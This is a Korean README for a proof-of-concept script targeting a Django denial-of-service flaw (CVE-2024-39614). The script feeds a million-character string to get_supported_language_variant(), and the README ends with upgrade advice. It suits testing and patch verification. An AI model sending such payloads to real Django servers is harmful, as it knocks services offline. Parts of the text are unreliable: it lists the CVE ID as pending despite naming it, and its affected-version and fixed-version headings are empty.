
CVE-2024-39614에 대한 개념 증명 익스플로잇, Django의 `get_supported_language_variant()` 함수에서 발견된 서비스 거부 취약점으로, 버전 5.0<5.0.7 및 4.2<4.2.14에 영향을 미칩니다.
이 저장소는 Django 5.0(5.0.7 미만) 및 4.2(4.2.14 미만) 버전의 서비스 거부(DoS) 취약점을 시연하는 PoC 스크립트를 포함합니다. 취약점은 get_supported_language_variant() 함수에 있으며, 특정 문자를 포함한 매우 긴 문자열을 처리할 때 잠재적인 DoS 공격에 취약합니다.
CVE-ID: (보류 중)
개요:
Django 5.0(5.0.7 미만) 및 4.2(4.2.14 미만) 버전의 get_supported_language_variant() 함수는 서비스 거부 공격에 취약합니다. 이 함수는 특정 문자를 포함한 매우 긴 문자열을 전송하여 악용될 수 있으며, 이로 인해 리소스 고갈 및 결과적으로 서비스 거부 상태가 발생할 수 있습니다.
영향받는 버전:
수정된 버전:
pip install django)이 스크립트는 공격자가 get_supported_language_variant() 함수에 매우 긴 문자열을 전송하여 취약점을 악용할 수 있는 방법을 보여줍니다.
다음 스크립트를 dos_poc.py로 저장하고 실행하세요.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() 함수는 get_supported_language_variant()를 매우 긴 문자열로 호출하여 취약점을 테스트합니다.이 취약점을 완화하려면 Django의 수정된 버전으로 업그레이드하세요:
공식 Django 업그레이드 지침에 따라 Django 설치를 최신 보안 버전으로 업데이트하세요.
소프트웨어를 최신 상태로 유지하고 보안 모범 사례를 따르면 Django의 이러한 DoS 문제와 같은 취약점을 예방할 수 있습니다.